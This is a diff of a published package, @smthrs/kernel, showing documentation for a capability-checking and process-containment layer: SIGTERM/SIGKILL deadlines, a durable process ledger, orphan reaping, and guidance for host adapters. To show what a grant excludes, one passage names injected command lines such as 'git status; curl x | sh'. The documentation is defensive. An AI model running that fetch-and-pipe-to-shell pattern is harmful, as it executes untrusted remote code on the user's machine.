@smthrs/kernel 0.0.0-stage → 1.0.0-rc.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +206 -0
- package/LICENSE +21 -0
- package/README.md +154 -2
- package/dist/cjs/CapabilitySet.d.ts +6 -0
- package/dist/cjs/CapabilitySet.d.ts.map +1 -0
- package/dist/cjs/CapabilitySet.js +19 -0
- package/dist/cjs/CapabilitySet.js.map +7 -0
- package/dist/cjs/ChildProcessEnvironment.d.ts +60 -0
- package/dist/cjs/ChildProcessEnvironment.d.ts.map +1 -0
- package/dist/cjs/ChildProcessEnvironment.js +61 -0
- package/dist/cjs/ChildProcessEnvironment.js.map +7 -0
- package/dist/cjs/ChildProcessSpawner.d.ts +100 -0
- package/dist/cjs/ChildProcessSpawner.d.ts.map +1 -0
- package/dist/cjs/ChildProcessSpawner.js +291 -0
- package/dist/cjs/ChildProcessSpawner.js.map +7 -0
- package/dist/cjs/CommandLine.d.ts +173 -0
- package/dist/cjs/CommandLine.d.ts.map +1 -0
- package/dist/cjs/CommandLine.js +54 -0
- package/dist/cjs/CommandLine.js.map +7 -0
- package/dist/cjs/ContainedSpawner.d.ts +135 -0
- package/dist/cjs/ContainedSpawner.d.ts.map +1 -0
- package/dist/cjs/ContainedSpawner.js +141 -0
- package/dist/cjs/ContainedSpawner.js.map +7 -0
- package/dist/cjs/FileSystem.d.ts +452 -0
- package/dist/cjs/FileSystem.d.ts.map +1 -0
- package/dist/cjs/FileSystem.js +890 -0
- package/dist/cjs/FileSystem.js.map +7 -0
- package/dist/cjs/FileSystemBatch.d.ts +94 -0
- package/dist/cjs/FileSystemBatch.d.ts.map +1 -0
- package/dist/cjs/FileSystemBatch.js +31 -0
- package/dist/cjs/FileSystemBatch.js.map +7 -0
- package/dist/cjs/GrantEvent.d.ts +240 -0
- package/dist/cjs/GrantEvent.d.ts.map +1 -0
- package/dist/cjs/GrantEvent.js +115 -0
- package/dist/cjs/GrantEvent.js.map +7 -0
- package/dist/cjs/GrantStore.d.ts +270 -0
- package/dist/cjs/GrantStore.d.ts.map +1 -0
- package/dist/cjs/GrantStore.js +857 -0
- package/dist/cjs/GrantStore.js.map +7 -0
- package/dist/cjs/HostError.d.ts +36 -0
- package/dist/cjs/HostError.d.ts.map +1 -0
- package/dist/cjs/HostError.js +17 -0
- package/dist/cjs/HostError.js.map +7 -0
- package/dist/cjs/HostServices.d.ts +101 -0
- package/dist/cjs/HostServices.d.ts.map +1 -0
- package/dist/cjs/HostServices.js +66 -0
- package/dist/cjs/HostServices.js.map +7 -0
- package/dist/cjs/HttpClient.d.ts +177 -0
- package/dist/cjs/HttpClient.d.ts.map +1 -0
- package/dist/cjs/HttpClient.js +217 -0
- package/dist/cjs/HttpClient.js.map +7 -0
- package/dist/cjs/Jj.d.ts +67 -0
- package/dist/cjs/Jj.d.ts.map +1 -0
- package/dist/cjs/Jj.js +118 -0
- package/dist/cjs/Jj.js.map +7 -0
- package/dist/cjs/JournalGrantStore.d.ts +65 -0
- package/dist/cjs/JournalGrantStore.d.ts.map +1 -0
- package/dist/cjs/JournalGrantStore.js +354 -0
- package/dist/cjs/JournalGrantStore.js.map +7 -0
- package/dist/cjs/Path.d.ts +37 -0
- package/dist/cjs/Path.d.ts.map +1 -0
- package/dist/cjs/Path.js +46 -0
- package/dist/cjs/Path.js.map +7 -0
- package/dist/cjs/ProcessConfinement.d.ts +55 -0
- package/dist/cjs/ProcessConfinement.d.ts.map +1 -0
- package/dist/cjs/ProcessConfinement.js +94 -0
- package/dist/cjs/ProcessConfinement.js.map +7 -0
- package/dist/cjs/ProcessLedger.d.ts +260 -0
- package/dist/cjs/ProcessLedger.d.ts.map +1 -0
- package/dist/cjs/ProcessLedger.js +190 -0
- package/dist/cjs/ProcessLedger.js.map +7 -0
- package/dist/cjs/Rooted.d.ts +53 -0
- package/dist/cjs/Rooted.d.ts.map +1 -0
- package/dist/cjs/Rooted.js +101 -0
- package/dist/cjs/Rooted.js.map +7 -0
- package/dist/cjs/Unreachable.d.ts +27 -0
- package/dist/cjs/Unreachable.d.ts.map +1 -0
- package/dist/cjs/Unreachable.js +43 -0
- package/dist/cjs/Unreachable.js.map +7 -0
- package/dist/cjs/Workspace.d.ts +62 -0
- package/dist/cjs/Workspace.d.ts.map +1 -0
- package/dist/cjs/Workspace.js +35 -0
- package/dist/cjs/Workspace.js.map +7 -0
- package/dist/cjs/index.d.ts +161 -0
- package/dist/cjs/index.d.ts.map +1 -0
- package/dist/cjs/index.js +73 -0
- package/dist/cjs/index.js.map +7 -0
- package/dist/cjs/internal/Containment.d.ts +24 -0
- package/dist/cjs/internal/Containment.d.ts.map +1 -0
- package/dist/cjs/internal/Containment.js +30 -0
- package/dist/cjs/internal/Containment.js.map +7 -0
- package/dist/cjs/internal/Pipeline.d.ts +18 -0
- package/dist/cjs/internal/Pipeline.d.ts.map +1 -0
- package/dist/cjs/internal/Pipeline.js +90 -0
- package/dist/cjs/internal/Pipeline.js.map +7 -0
- package/dist/cjs/internal/makeCapability.d.ts +16 -0
- package/dist/cjs/internal/makeCapability.d.ts.map +1 -0
- package/dist/cjs/internal/makeCapability.js +44 -0
- package/dist/cjs/internal/makeCapability.js.map +7 -0
- package/dist/cjs/package.json +1 -0
- package/dist/cjs/test/FileSystemBatchContract.d.ts +15 -0
- package/dist/cjs/test/FileSystemBatchContract.d.ts.map +1 -0
- package/dist/cjs/test/FileSystemBatchContract.js +76 -0
- package/dist/cjs/test/FileSystemBatchContract.js.map +7 -0
- package/dist/cjs/test/HostContract.d.ts +225 -0
- package/dist/cjs/test/HostContract.d.ts.map +1 -0
- package/dist/cjs/test/HostContract.js +489 -0
- package/dist/cjs/test/HostContract.js.map +7 -0
- package/dist/cjs/test/TestGrantStore.d.ts +31 -0
- package/dist/cjs/test/TestGrantStore.d.ts.map +1 -0
- package/dist/cjs/test/TestGrantStore.js +65 -0
- package/dist/cjs/test/TestGrantStore.js.map +7 -0
- package/dist/esm/CapabilitySet.d.ts +6 -0
- package/dist/esm/CapabilitySet.d.ts.map +1 -0
- package/dist/esm/CapabilitySet.js +6 -0
- package/dist/esm/CapabilitySet.js.map +1 -0
- package/dist/esm/ChildProcessEnvironment.d.ts +60 -0
- package/dist/esm/ChildProcessEnvironment.d.ts.map +1 -0
- package/dist/esm/ChildProcessEnvironment.js +91 -0
- package/dist/esm/ChildProcessEnvironment.js.map +1 -0
- package/dist/esm/ChildProcessSpawner.d.ts +100 -0
- package/dist/esm/ChildProcessSpawner.d.ts.map +1 -0
- package/dist/esm/ChildProcessSpawner.js +342 -0
- package/dist/esm/ChildProcessSpawner.js.map +1 -0
- package/dist/esm/CommandLine.d.ts +173 -0
- package/dist/esm/CommandLine.d.ts.map +1 -0
- package/dist/esm/CommandLine.js +195 -0
- package/dist/esm/CommandLine.js.map +1 -0
- package/dist/esm/ContainedSpawner.d.ts +135 -0
- package/dist/esm/ContainedSpawner.d.ts.map +1 -0
- package/dist/esm/ContainedSpawner.js +180 -0
- package/dist/esm/ContainedSpawner.js.map +1 -0
- package/dist/esm/FileSystem.d.ts +452 -0
- package/dist/esm/FileSystem.d.ts.map +1 -0
- package/dist/esm/FileSystem.js +989 -0
- package/dist/esm/FileSystem.js.map +1 -0
- package/dist/esm/FileSystemBatch.d.ts +94 -0
- package/dist/esm/FileSystemBatch.d.ts.map +1 -0
- package/dist/esm/FileSystemBatch.js +26 -0
- package/dist/esm/FileSystemBatch.js.map +1 -0
- package/dist/esm/GrantEvent.d.ts +240 -0
- package/dist/esm/GrantEvent.d.ts.map +1 -0
- package/dist/esm/GrantEvent.js +155 -0
- package/dist/esm/GrantEvent.js.map +1 -0
- package/dist/esm/GrantStore.d.ts +270 -0
- package/dist/esm/GrantStore.d.ts.map +1 -0
- package/dist/esm/GrantStore.js +951 -0
- package/dist/esm/GrantStore.js.map +1 -0
- package/dist/esm/HostError.d.ts +36 -0
- package/dist/esm/HostError.d.ts.map +1 -0
- package/dist/esm/HostError.js +20 -0
- package/dist/esm/HostError.js.map +1 -0
- package/dist/esm/HostServices.d.ts +101 -0
- package/dist/esm/HostServices.d.ts.map +1 -0
- package/dist/esm/HostServices.js +76 -0
- package/dist/esm/HostServices.js.map +1 -0
- package/dist/esm/HttpClient.d.ts +177 -0
- package/dist/esm/HttpClient.d.ts.map +1 -0
- package/dist/esm/HttpClient.js +299 -0
- package/dist/esm/HttpClient.js.map +1 -0
- package/dist/esm/Jj.d.ts +67 -0
- package/dist/esm/Jj.d.ts.map +1 -0
- package/dist/esm/Jj.js +111 -0
- package/dist/esm/Jj.js.map +1 -0
- package/dist/esm/JournalGrantStore.d.ts +65 -0
- package/dist/esm/JournalGrantStore.d.ts.map +1 -0
- package/dist/esm/JournalGrantStore.js +350 -0
- package/dist/esm/JournalGrantStore.js.map +1 -0
- package/dist/esm/Path.d.ts +37 -0
- package/dist/esm/Path.d.ts.map +1 -0
- package/dist/esm/Path.js +34 -0
- package/dist/esm/Path.js.map +1 -0
- package/dist/esm/ProcessConfinement.d.ts +55 -0
- package/dist/esm/ProcessConfinement.d.ts.map +1 -0
- package/dist/esm/ProcessConfinement.js +106 -0
- package/dist/esm/ProcessConfinement.js.map +1 -0
- package/dist/esm/ProcessLedger.d.ts +260 -0
- package/dist/esm/ProcessLedger.d.ts.map +1 -0
- package/dist/esm/ProcessLedger.js +283 -0
- package/dist/esm/ProcessLedger.js.map +1 -0
- package/dist/esm/Rooted.d.ts +53 -0
- package/dist/esm/Rooted.d.ts.map +1 -0
- package/dist/esm/Rooted.js +104 -0
- package/dist/esm/Rooted.js.map +1 -0
- package/dist/esm/Unreachable.d.ts +27 -0
- package/dist/esm/Unreachable.d.ts.map +1 -0
- package/dist/esm/Unreachable.js +26 -0
- package/dist/esm/Unreachable.js.map +1 -0
- package/dist/esm/Workspace.d.ts +62 -0
- package/dist/esm/Workspace.d.ts.map +1 -0
- package/dist/esm/Workspace.js +51 -0
- package/dist/esm/Workspace.js.map +1 -0
- package/dist/esm/index.d.ts +161 -0
- package/dist/esm/index.d.ts.map +1 -0
- package/dist/esm/index.js +151 -0
- package/dist/esm/index.js.map +1 -0
- package/dist/esm/internal/Containment.d.ts +24 -0
- package/dist/esm/internal/Containment.d.ts.map +1 -0
- package/dist/esm/internal/Containment.js +27 -0
- package/dist/esm/internal/Containment.js.map +1 -0
- package/dist/esm/internal/Pipeline.d.ts +18 -0
- package/dist/esm/internal/Pipeline.d.ts.map +1 -0
- package/dist/esm/internal/Pipeline.js +68 -0
- package/dist/esm/internal/Pipeline.js.map +1 -0
- package/dist/esm/internal/makeCapability.d.ts +16 -0
- package/dist/esm/internal/makeCapability.d.ts.map +1 -0
- package/dist/esm/internal/makeCapability.js +22 -0
- package/dist/esm/internal/makeCapability.js.map +1 -0
- package/dist/esm/test/FileSystemBatchContract.d.ts +15 -0
- package/dist/esm/test/FileSystemBatchContract.d.ts.map +1 -0
- package/dist/esm/test/FileSystemBatchContract.js +57 -0
- package/dist/esm/test/FileSystemBatchContract.js.map +1 -0
- package/dist/esm/test/HostContract.d.ts +225 -0
- package/dist/esm/test/HostContract.d.ts.map +1 -0
- package/dist/esm/test/HostContract.js +460 -0
- package/dist/esm/test/HostContract.js.map +1 -0
- package/dist/esm/test/TestGrantStore.d.ts +31 -0
- package/dist/esm/test/TestGrantStore.d.ts.map +1 -0
- package/dist/esm/test/TestGrantStore.js +57 -0
- package/dist/esm/test/TestGrantStore.js.map +1 -0
- package/docs/README.md +162 -0
- package/docs/api.md +1532 -0
- package/docs/concepts/decoration-in-place.md +117 -0
- package/docs/concepts/filesystem-batches.md +58 -0
- package/docs/concepts/filesystem-confinement.md +168 -0
- package/docs/concepts/grant-decisions.md +181 -0
- package/docs/concepts/process-containment.md +155 -0
- package/docs/contract.md +14 -0
- package/docs/guides/adapt-a-new-host-platform.md +148 -0
- package/docs/guides/answer-permission-requests.md +151 -0
- package/docs/guides/authorize-network-and-model-calls.md +118 -0
- package/docs/guides/contain-spawned-processes.md +118 -0
- package/docs/guides/guard-a-host-bundle.md +109 -0
- package/docs/guides/persist-grants-across-restarts.md +135 -0
- package/docs/guides/write-a-capability-policy.md +159 -0
- package/docs/installation.md +115 -0
- package/docs/quickstart.md +182 -0
- package/docs/testing.md +108 -0
- package/docs/troubleshooting.md +281 -0
- package/package.json +344 -3
- package/src/CapabilitySet.ts +6 -0
- package/src/ChildProcessEnvironment.ts +98 -0
- package/src/ChildProcessSpawner.ts +414 -0
- package/src/CommandLine.ts +250 -0
- package/src/ContainedSpawner.ts +284 -0
- package/src/FileSystem.ts +1655 -0
- package/src/FileSystemBatch.ts +90 -0
- package/src/GrantEvent.ts +174 -0
- package/src/GrantStore.ts +1345 -0
- package/src/HostError.ts +37 -0
- package/src/HostServices.ts +133 -0
- package/src/HttpClient.ts +406 -0
- package/src/Jj.ts +159 -0
- package/src/JournalGrantStore.ts +461 -0
- package/src/Path.ts +47 -0
- package/src/ProcessConfinement.ts +156 -0
- package/src/ProcessLedger.ts +423 -0
- package/src/Rooted.ts +128 -0
- package/src/Unreachable.ts +30 -0
- package/src/Workspace.ts +65 -0
- package/src/index.ts +181 -0
- package/src/internal/Containment.ts +37 -0
- package/src/internal/Pipeline.ts +85 -0
- package/src/internal/makeCapability.ts +26 -0
- package/src/test/FileSystemBatchContract.ts +59 -0
- package/src/test/HostContract.ts +785 -0
- package/src/test/TestGrantStore.ts +73 -0
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: "Process containment"
|
|
3
|
+
description: "How the kernel makes a cancelled run leave no process behind: the SIGTERM-then-SIGKILL deadline, the durable process ledger, and the orphan records a dead host hands its successor."
|
|
4
|
+
sidebar:
|
|
5
|
+
order: 4
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
A contained run owns its process lifetime independently of the target's exit
|
|
9
|
+
status. The kernel supplies the ledger and composition contract; a platform
|
|
10
|
+
lifecycle supplies launch and verified cleanup.
|
|
11
|
+
|
|
12
|
+
## A cancellation that never finishes
|
|
13
|
+
|
|
14
|
+
Effect's spawner already signals a child's process group when the spawn scope
|
|
15
|
+
closes, and then waits for the exit. With no `forceKillAfter` configured, it
|
|
16
|
+
waits forever. A child that traps `SIGTERM`, or a child whose own children trap
|
|
17
|
+
it, turns a cancellation into a hung host: the releasing fiber never finishes,
|
|
18
|
+
the run never reaches `cancelled`, and the process stays on the machine.
|
|
19
|
+
|
|
20
|
+
`ContainedSpawner.layer` rewrites every command it spawns to carry an
|
|
21
|
+
escalation deadline: `SIGTERM`, then `SIGKILL` after `graceMs`, which defaults
|
|
22
|
+
to `ContainedSpawner.defaultGraceMs` (2,000 ms). Both legs of a pipeline get
|
|
23
|
+
the policy. A command that already names its own `killSignal` or
|
|
24
|
+
`forceKillAfter` keeps the policy its caller chose.
|
|
25
|
+
|
|
26
|
+
A deadline alone is insufficient. A target can exit naturally while a child
|
|
27
|
+
keeps running or holds stdout open. `Lifecycle` prepares a live owner before
|
|
28
|
+
execution, lets the kernel record it, then activates the target. Each pipeline
|
|
29
|
+
leg has its own owner and record. Node and Bun use
|
|
30
|
+
`ProcessReaper.layerSpawner`, which combines a prepared native adapter with
|
|
31
|
+
`ProcessReaper.processLifecycle`; `NodeHost.layerContained` and
|
|
32
|
+
`BunHost.layerContained` already install it. A smaller Node/Bun composition
|
|
33
|
+
can use that factory directly. `ContainedSpawner.isContained` rejects a
|
|
34
|
+
deadline-only wrapper.
|
|
35
|
+
|
|
36
|
+
The platform owns signals and verifies cleanup. Its handle may identify a
|
|
37
|
+
supervisor rather than the target, so callers use `handle.kill` and never
|
|
38
|
+
signal the recorded numeric pid as a substitute. A target's exit alone does
|
|
39
|
+
not authorize ledger retirement.
|
|
40
|
+
|
|
41
|
+
## A host that dies before its finalizers run
|
|
42
|
+
|
|
43
|
+
A killed host runs no finalizers. The supplied POSIX supervisor observes its
|
|
44
|
+
private parent connection closing and requests cleanup independently. A
|
|
45
|
+
durable ledger still lets a later host reconcile any retained records when
|
|
46
|
+
cleanup could not be confirmed.
|
|
47
|
+
|
|
48
|
+
`ProcessLedger` is the durable memory that fixes it. Every successful spawn is
|
|
49
|
+
recorded before target activation, and the record is released only after the
|
|
50
|
+
lifecycle confirms cleanup when the spawn's scope closes. Records
|
|
51
|
+
are ownerless journal entries on the run `flows.host:<hostId>` under the
|
|
52
|
+
source id `@smthrs/kernel/ProcessLedger`, with four event types:
|
|
53
|
+
|
|
54
|
+
| Event type | Meaning |
|
|
55
|
+
| ------------------------------------ | --------------------------------------------------------- |
|
|
56
|
+
| `flows.host.process-spawned.v1` | This host started the process. |
|
|
57
|
+
| `flows.host.process-exited.v1` | The process ended and its scope released it. |
|
|
58
|
+
| `flows.host.process-reaped.v1` | An abandoned process group was signalled by a later host. |
|
|
59
|
+
| `flows.host.process-reap-skipped.v1` | A later host refused to signal it, and why. |
|
|
60
|
+
|
|
61
|
+
The next incarnation of the same host replays that history, folds the exit,
|
|
62
|
+
reap, and skip events onto the spawn events, and reads `orphans`: the records
|
|
63
|
+
whose owner pid is not this incarnation's. `ProcessLedger.layerMemory` keeps
|
|
64
|
+
only the current incarnation's bookkeeping, with no journal and nothing
|
|
65
|
+
inherited.
|
|
66
|
+
|
|
67
|
+
Live tracking and replay identify each process by `(pid, startedAtMs)`.
|
|
68
|
+
`startedAtMs` comes from the Effect clock when the spawn is recorded. A delayed
|
|
69
|
+
exit, reap, or skip retires only that identity, preserving a newer record for
|
|
70
|
+
the same pid. Callers pass the original record to retirement operations.
|
|
71
|
+
|
|
72
|
+
## A failed write is reported, never swallowed
|
|
73
|
+
|
|
74
|
+
`record`, `release`, `reaped`, and `skipped` all carry the journal's failure to
|
|
75
|
+
their caller. A swallowed write would leave a child no incarnation of the host
|
|
76
|
+
can discover, which is the exact outcome containment exists to prevent.
|
|
77
|
+
|
|
78
|
+
A failed durable record prevents activation and closes the prepared owner.
|
|
79
|
+
Failed startup in any pipeline leg immediately closes all legs already
|
|
80
|
+
prepared for that logical command, even if the caller catches the failure.
|
|
81
|
+
|
|
82
|
+
The release finalizer runs after platform cleanup. If cleanup fails or its
|
|
83
|
+
`settled` result is false, release fails and the record is retained. If cleanup
|
|
84
|
+
is verified but the journal release write fails after its retries, the record
|
|
85
|
+
also stays for the next reaper instead of inventing a successful retirement.
|
|
86
|
+
|
|
87
|
+
## Reaping is deliberately conservative
|
|
88
|
+
|
|
89
|
+
Signalling a process group you did not start is dangerous: a pid can be
|
|
90
|
+
recycled. [`@smthrs/platform-node`](/api/platform-node)'s `ProcessReaper`
|
|
91
|
+
therefore signals an orphan only after every one of these holds:
|
|
92
|
+
|
|
93
|
+
- The record names a **separate** process group, not the reaping host's own
|
|
94
|
+
group, and the group is a plausible one the child leads.
|
|
95
|
+
- The owner is genuinely gone.
|
|
96
|
+
- The record belongs to the current boot. A record written before this machine
|
|
97
|
+
booted names a pid from a pid space that no longer exists.
|
|
98
|
+
- Where the platform can read it, the pid's start time still matches.
|
|
99
|
+
|
|
100
|
+
A successful reap and a safety refusal retire the record through **different**
|
|
101
|
+
event types, so an operator reading the journal can tell "we killed it" from
|
|
102
|
+
"we declined to". A failed signal or a still-live owner leaves the record for a
|
|
103
|
+
later attempt.
|
|
104
|
+
|
|
105
|
+
`ContainedSpawner.groupOf(command, pid, platform)` decides what group to
|
|
106
|
+
record, and it takes the platform because Effect detaches a child that names
|
|
107
|
+
no `detached` option everywhere except win32. A win32 record claiming
|
|
108
|
+
`pgid === pid` would name a group the child does not lead, so it records no
|
|
109
|
+
group at all instead.
|
|
110
|
+
|
|
111
|
+
## The grant identity is the command line and its environment names
|
|
112
|
+
|
|
113
|
+
Compose the permission decorator above containment to check the caller's
|
|
114
|
+
whole command before pipeline expansion and platform preparation.
|
|
115
|
+
Containment and authorization are separate concerns over the same tag, but
|
|
116
|
+
they share one fact worth stating here. Every stage of a spawn is checked as
|
|
117
|
+
its own `proc:spawn` with `CommandLine.resource(stage, context)` as its
|
|
118
|
+
resource, and no stage starts until every stage passes. That resource is the
|
|
119
|
+
rendered line with three markings:
|
|
120
|
+
|
|
121
|
+
- a `shell: true` line holding shell control syntax becomes `sh -c '<line>'`;
|
|
122
|
+
- an environment variable the child would not otherwise inherit is named in an
|
|
123
|
+
`env <NAME>… --` prefix: any name outside the bootstrap set (`PATH`, `HOME`,
|
|
124
|
+
`USER`, `LANG`, `TERM`, `TMPDIR`, `SHELL`, `LC_*`), and a bootstrap name
|
|
125
|
+
whose value differs from this process's own;
|
|
126
|
+
- a working directory outside `Workspace.root` is named in a `cwd <path> --`
|
|
127
|
+
prefix. The directory is judged by real path, so a symlink inside the
|
|
128
|
+
workspace that leads to another repository is named as that repository.
|
|
129
|
+
|
|
130
|
+
A grant for `git status *` therefore covers none of `git status; curl x | sh`,
|
|
131
|
+
`git status` with `GIT_SSH_COMMAND` set, `git status` with `PATH` pointing
|
|
132
|
+
into the workspace, or `git status` run in `/tmp/other`. `git status | sh`
|
|
133
|
+
needs a grant for `sh` too.
|
|
134
|
+
|
|
135
|
+
A pipeline's `from` and `to` routing is **not** part of what the grant
|
|
136
|
+
authorizes. Nor is the content of files inside the workspace: `git status` in
|
|
137
|
+
the workspace reads `.git/config`, and `npm test` runs whatever `package.json`
|
|
138
|
+
says. A flow that holds `fs:write` on those files decides what the granted
|
|
139
|
+
program does, so grant `proc:spawn` for a config-reading program together with
|
|
140
|
+
the `fs:write` scope you intend it to follow. The working directory and the
|
|
141
|
+
_names_ of overridden environment variables also reach an attended surface as
|
|
142
|
+
display metadata; the values do not.
|
|
143
|
+
|
|
144
|
+
A custom shell path is explicit in the rendered line, and a pipeline renders
|
|
145
|
+
with `|` between its stages, so neither can hide behind a grant for something
|
|
146
|
+
else. The derived helpers (`exitCode`, `string`, `lines`, and both `stream`
|
|
147
|
+
forms) are all rebuilt from the guarded `spawn`, so none of them can bypass the
|
|
148
|
+
check.
|
|
149
|
+
|
|
150
|
+
## Related
|
|
151
|
+
|
|
152
|
+
- [Contain spawned processes](../guides/contain-spawned-processes.md): the
|
|
153
|
+
composition, with and without a journal.
|
|
154
|
+
- [How a grant decision is made](./grant-decisions.md): the check that runs
|
|
155
|
+
before any of this.
|
package/docs/contract.md
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: "The kernel contract"
|
|
3
|
+
description: "What @smthrs/kernel guarantees at a host boundary: checks that run before the operation, snapshotted inputs, the filesystem isolation a host must supply, and the structured refusal each service channel carries."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
`@smthrs/kernel` owns the closed host boundary and decorates the same service
|
|
7
|
+
tags supplied by each platform adapter. Capability checks happen before a host
|
|
8
|
+
operation, and mutable inputs are snapshotted so the operation executed after
|
|
9
|
+
an attended grant is the operation that was authorized. Native filesystems use
|
|
10
|
+
a descriptor-relative executor; isolated browser and test volumes may attest
|
|
11
|
+
whole-volume isolation. Process, network, Jujutsu, and filesystem refusals keep
|
|
12
|
+
their structured permission error through the host service's fixed error
|
|
13
|
+
channel. See the [Kernel API contract](/api/kernel) for the exact resources,
|
|
14
|
+
stable error codes, limits, and public test subpaths.
|
|
@@ -0,0 +1,148 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: "Adapt a new host platform"
|
|
3
|
+
description: "Implement the five host ports for a new runtime: attach the filesystem confinement extension the kernel requires, declare what your bundle does not support, and prove it with the shared contract suite."
|
|
4
|
+
sidebar:
|
|
5
|
+
order: 7
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
A host adapter provides the five tags on the closed list. It does not check
|
|
9
|
+
capabilities; the kernel does that above it. What the adapter owes the kernel
|
|
10
|
+
is an honest filesystem and a truthful declaration of what it cannot do.
|
|
11
|
+
|
|
12
|
+
## Provide the five tags
|
|
13
|
+
|
|
14
|
+
Your bundle is one `Layer` providing `FileSystem`, `Path`,
|
|
15
|
+
`ChildProcessSpawner`, `Jj`, and `HttpClient`. Where Effect owns the tag,
|
|
16
|
+
implement Effect's service rather than a wrapper around it.
|
|
17
|
+
|
|
18
|
+
A capability you do not support still gets a tag. Fail it in the error channel
|
|
19
|
+
with a stable code instead of omitting the service:
|
|
20
|
+
|
|
21
|
+
```ts
|
|
22
|
+
import { CommandLine } from "@smthrs/kernel"
|
|
23
|
+
import { Effect, Layer, PlatformError } from "effect"
|
|
24
|
+
import { ChildProcessSpawner, make as makeSpawner } from "effect/unstable/process/ChildProcessSpawner"
|
|
25
|
+
|
|
26
|
+
const layerSpawnerUnsupported: Layer.Layer<ChildProcessSpawner> = Layer.succeed(ChildProcessSpawner)(
|
|
27
|
+
makeSpawner((command) =>
|
|
28
|
+
Effect.fail(
|
|
29
|
+
PlatformError.systemError({
|
|
30
|
+
_tag: "NotFound",
|
|
31
|
+
module: "MyHost",
|
|
32
|
+
method: "spawn",
|
|
33
|
+
description: `no process host for \`${CommandLine.render(command)}\``
|
|
34
|
+
})
|
|
35
|
+
)
|
|
36
|
+
)
|
|
37
|
+
)
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
The kernel ships stubs for two of these: `ChildProcessSpawner.layerNoop()` and
|
|
41
|
+
`HttpClient.layerNoop()`.
|
|
42
|
+
|
|
43
|
+
Derive the spawner's six methods from one `spawn` with
|
|
44
|
+
`ChildProcessSpawner.make`, so `exitCode`, `string`, `lines`, and both `stream`
|
|
45
|
+
helpers can never diverge from what `spawn` was given. Render command lines
|
|
46
|
+
with `CommandLine.render`: it is the same renderer the `proc:spawn` capability
|
|
47
|
+
resource uses, so an adapter that executes a different string than the kernel
|
|
48
|
+
authorized is a defect the contract catches.
|
|
49
|
+
|
|
50
|
+
## Attach a filesystem confinement extension
|
|
51
|
+
|
|
52
|
+
This is the one thing the kernel will not do for you. A path-based filesystem
|
|
53
|
+
cannot be confined, because the pathname the kernel checked is not the
|
|
54
|
+
pathname the host resolves. A host that attaches neither extension fails every
|
|
55
|
+
relevant filesystem operation closed.
|
|
56
|
+
|
|
57
|
+
**A native host attaches a descriptor-relative executor:**
|
|
58
|
+
|
|
59
|
+
```ts
|
|
60
|
+
import { FileSystem as KernelFileSystem } from "@smthrs/kernel"
|
|
61
|
+
|
|
62
|
+
const guardedRoot = KernelFileSystem.withAtomicFileSystem(myFileSystem, {
|
|
63
|
+
execute: (request) => runRelativeToPinnedRoot(request)
|
|
64
|
+
})
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
The executor receives an `AtomicRequest`: one member per operation, naming the
|
|
68
|
+
boundary and logical roots and exactly the operands that operation needs. Run
|
|
69
|
+
it relative to a pinned root handle, rejecting symlinks as you traverse, and
|
|
70
|
+
answer the result the operation names (`AtomicResult`). An executor that runs
|
|
71
|
+
in process can be a typed `AtomicHandlers` record, which will not compile until
|
|
72
|
+
every operation is implemented.
|
|
73
|
+
|
|
74
|
+
**An isolated volume attests instead:**
|
|
75
|
+
|
|
76
|
+
```ts
|
|
77
|
+
const volume = KernelFileSystem.withIsolatedFileSystem(myInMemoryFileSystem)
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
Use this only when the implementation genuinely cannot address the host
|
|
81
|
+
filesystem, as an in-memory browser volume cannot.
|
|
82
|
+
`@smthrs/platform-browser` does exactly this. It throws on a filesystem that
|
|
83
|
+
already carries a descriptor-relative executor, so the stronger guarantee can
|
|
84
|
+
never be downgraded to the weaker one.
|
|
85
|
+
|
|
86
|
+
Both functions decorate the supplied object in place and return the same
|
|
87
|
+
identity. Attach once, at the boundary, and keep no undecorated alias.
|
|
88
|
+
|
|
89
|
+
## Prove it with the contract suite
|
|
90
|
+
|
|
91
|
+
`@smthrs/kernel/test/contract` exports `runHostContract`, the shared
|
|
92
|
+
behavioral contract every host bundle must satisfy. It registers Vitest cases,
|
|
93
|
+
so install the peers first:
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
pnpm add -D @effect/vitest@4.0.0-rc.115 vitest@5.0.0
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
Then declare, per slot, whether your bundle supports the capability and what it
|
|
100
|
+
answers when it does not:
|
|
101
|
+
|
|
102
|
+
```ts
|
|
103
|
+
import { runHostContract } from "@smthrs/kernel/test/contract"
|
|
104
|
+
import { Layer } from "effect"
|
|
105
|
+
import * as ChildProcess from "effect/unstable/process/ChildProcess"
|
|
106
|
+
|
|
107
|
+
runHostContract("MyHost", Layer.mergeAll(fs, path, spawner, jj, http), {
|
|
108
|
+
fileSystem: {
|
|
109
|
+
expected: "success",
|
|
110
|
+
// A scratch root, only when your filesystem rejects an OS temp path.
|
|
111
|
+
scratchPath: "/scratch",
|
|
112
|
+
// Per-operation exceptions, with the code each one fails with.
|
|
113
|
+
unsupported: { link: "NotFound", symlink: "NotFound", watch: "NotFound" }
|
|
114
|
+
},
|
|
115
|
+
path: { expected: "success" },
|
|
116
|
+
childProcess: {
|
|
117
|
+
expected: "success",
|
|
118
|
+
execCommand: ChildProcess.make("printf", ["ok"]),
|
|
119
|
+
expectedStdout: "ok",
|
|
120
|
+
stdin: { expected: "failure", code: "BadArgument" },
|
|
121
|
+
pipeline: { expected: "failure", code: "BadArgument" }
|
|
122
|
+
},
|
|
123
|
+
jj: { expected: "failure", code: "not_installed" },
|
|
124
|
+
httpClient: { expected: "failure", code: "TransportError" }
|
|
125
|
+
})
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
A slot you do not support is
|
|
129
|
+
`{ expected: "failure", code: "<the stable code>" }`. The suite normalizes the
|
|
130
|
+
three shapes a host failure carries its code in: a `code` field on `JjError`, a
|
|
131
|
+
